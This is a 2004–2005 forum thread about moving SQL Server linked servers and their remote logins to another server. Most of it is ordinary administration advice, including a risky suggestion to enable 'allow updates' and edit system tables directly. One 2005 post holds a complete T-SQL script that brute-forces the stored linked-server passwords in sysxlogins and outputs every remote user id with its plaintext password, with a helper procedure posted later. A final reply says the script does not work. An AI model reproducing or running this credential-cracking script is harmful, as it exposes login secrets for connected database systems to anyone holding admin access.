January 9, 2004 at 7:25 am
Hallo Friends
Is there any way to transfer all linked server from one SQL server to another SQL server using script.
Best regards
Joseph
January 9, 2004 at 7:32 am
Do you just want the server definitions and settings, or do you want all the associated remote logins as well?
January 9, 2004 at 7:41 am
Both definitions and settings & associated remote logins
January 9, 2004 at 9:33 am
I was hoping to be able to put together a script for you, but I am not going to have the time. In principle, all you need to do is to take the sysservers entries from your source server and copy them to sysservers on your target server. You only want to do this for srvid != 0 (because svrid=0 is the local server), and you may need to adjust the srvid values for the other servers to accommodate other linked servers that are already defined on the target server. Then you need to get the entries from sysoledbusers from the source to the target, adjusting for any changes you have made to values for srvid in sysservers. If you are also looking at the older-style "remote" servers, then you'd also need to get the contents of sysremotelogins.
Sorry I don't have a script for you, but I thought I'd at least post this so you'd know how to start. Of course, the 'allow updates' option has to be enabled to let you update these system catalog tables in the target server's master database. And doubly of course, you'd best have a backup of the target server's master database before you start.
Maybe somebody else knows of a tool that can automate this - I don't see anything in DTS, but maybe there's something else. However, I've done changes like this to my system tables on occasion, and as long as you're careful, everything should turn out fine.
Hope this helps,
Chris
October 6, 2004 at 3:48 am
Hi all,
I'm experiencing a problem on a script based copy for linked servers.
The steps are, for each entry on remote sysservers table:
1. Drop the linked server (and its associated logins) that has the same name name
2. Create the linked server (using sp_addlinkedserver)
3. Create the associated remote logins (using sp_addlinkedsrvlogin) with a blank password
4. update the local sysxlogins to synchronise password.
verything works fine, but I can't connect on a copied linked server (connection is OK on remote server) with an authentication failed error, although I checked passwords are the same.
Does anybody see what's wrong with this process ?
Thanks.
Benjamin
January 27, 2005 at 7:34 am
This might be a little late, but might prove helpful to future searchers looking for a solution.
You can't transfer the passwords for remote logins like you can with normal logins. The password column the sysxlogins table is encrypted different for each server for remote logins. Well, the password isn't encrypted, it is encoded.
I wrote a brute-force script to decode the password for any SQL Server 2000 installation. You have to be a system administrator for the script to work.
Enjoy,
John Gonyo
/* SCRIPT: Linkserver password hack AUTHOR: John Gonyo john dot gonyo at suntust dot com DATE: January, 2005 PURPOSE: This script cracks all linked server remote passwords using a simple brute-force algorithm using a letter dictionary. It returns all linked server userids and passwords as a result set. */ use master go -- turn off all the annoying 1 row(s) affect crap until the end set nocount on go -- create a sp so that the encrypt() call works -- The encrypt() call doesn't work unless it is called within the context of a dbo owned stored procedure! create procedure dbo.sp_pwdtest @passsword sysname, @result varchar(1024) output as declare @vb varbinary(256) select @vb = convert(varbinary(256), encrypt(@passsword)) exec sp_hexadecimal @vb, @result output go -- create a temp table containing all the standard ASCII letters, some aren't easily typed, -- but it doesn't much matter. International versions may need to use nchar. create table ##result (name sysname, password sysname) create table ##letters (letter char(1)) declare @C char(1) set @C = ' ' while ascii(@c) <=255 begin insert into ##letters values (@c) if @@rowcount=0 print 'WARNING: failed letter insert for ' + convert(varchar,ascii(@c)) set @C = char(ASCII (@c) + 1) end declare @answer varchar(1024), @found varchar(1024) declare @guess varchar(1024), @STR varchar(1024), @rawpassword varbinary(255) declare @matching int, @work varchar(1), @max-2 int, @ok int, @answermax int declare @userid sysname -- open the letter cursor declare letter cursor SCROLL for select convert(char(1),letter) from ##letters order by 1 open letter -- get the password from sysxlogins declare passwordcursor cursor for select name, password from sysxlogins where sid is null and name is not null open passwordcursor fetch next from passwordcursor into @userid, @rawpassword while @@fetch_Status=0 begin -- convert the varbinary to a string exec sp_hexadecimal @rawpassword, @answer output -- setup working variables set @answermax = datalength(@answer) set @guess = '' set @work = '' set @matching = 0 -- loop until @matching is @answer while @matching <> datalength(@answer) begin set @ok = 0 fetch first from letter into @work while @@fetch_status=0 and @ok=0 begin set @STR = @guess + @work -- print 'testing ' + @STR exec sp_pwdtest @STR, @found output -- print '@found=' + @found + ' @answer=' + @answer set @max-2 = datalength(@found) if substring(@answer,@matching,@max-@matching+1) = substring(@found,@matching,@max-@matching+1) begin set @ok = 1 set @guess = @STR set @matching = @max-2 -- print @answer + ' ' + @found end fetch next from letter into @work end if @ok = 0 begin print 'no matches found for ' + @userid break end -- print 'Found ' + @guess end if @ok = 0 insert into ##result (name,password) values (@userid, '--not found!--') else insert into ##result (name,password) values (@userid, @guess) -- select @userid as 'Name', @guess as 'Password Found' fetch next from passwordcursor into @userid, @rawpassword end -- clean up close passwordcursor deallocate passwordcursor close letter deallocate letter drop table ##letters -- produce the result set set nocount off select * from ##result order by name drop table ##result go -- drop the procedure created at the start drop procedure dbo.sp_pwdtest go |
March 7, 2005 at 12:42 pm
Hi John,
Is this script meant to do something useful? Doesn't look like!
Gabriela
May 31, 2005 at 3:39 pm
Well, I thought I described what the script does... it "cracks" or "displays" the passwords for all of your linked server user ids. We had some linked server ids (from our sql server to remote sql servers, ORACLE, etc) that had been in production for eons, and nobody remembered the password. After some trial and error I created the script in my post above and it resolved the linked server user id passwords. I think that figuring out linked server passwords is a fairly useful thing. Probably other people would find that script useful when in a similar position, so I posted it.
The result of all that sql is to return a list of all the linked server user ids and their associated password. It's worked for me on all of my SQL 2000 installations...
I did forget to put in the source for sp_hexadecimal. I already had it on our sql servers so forgot to include it. Here it is:
CREATE PROCEDURE dbo.sp_hexadecimal
@binvalue varbinary(256),
@hexvalue varchar(256) OUTPUT
AS
DECLARE @charvalue varchar(256)
DECLARE @i int
DECLARE @length int
DECLARE @hexstring char(16)
SELECT @charvalue = '0x'
SELECT @i = 1
SELECT @length = DATALENGTH (@binvalue)
SELECT @hexstring = '0123456789ABCDEF'
WHILE (@i <= @length)
BEGIN
DECLARE @tempint int
DECLARE @firstint int
DECLARE @secondint int
SELECT @tempint = CONVERT(int, SUBSTRING(@binvalue,@i,1))
SELECT @firstint = FLOOR(@tempint/16)
SELECT @secondint = @tempint - (@firstint*16)
SELECT @charvalue = @charvalue +
SUBSTRING(@hexstring, @firstint+1, 1) +
SUBSTRING(@hexstring, @secondint+1, 1)
SELECT @i = @i + 1
END
SELECT @hexvalue = @charvalue
December 1, 2005 at 4:27 am
The script doesnt work - me thinks - do u have a version that does......cheers.
Viewing 9 posts - 1 through 8 (of 8 total)
You must be logged in to reply to this topic. Login to reply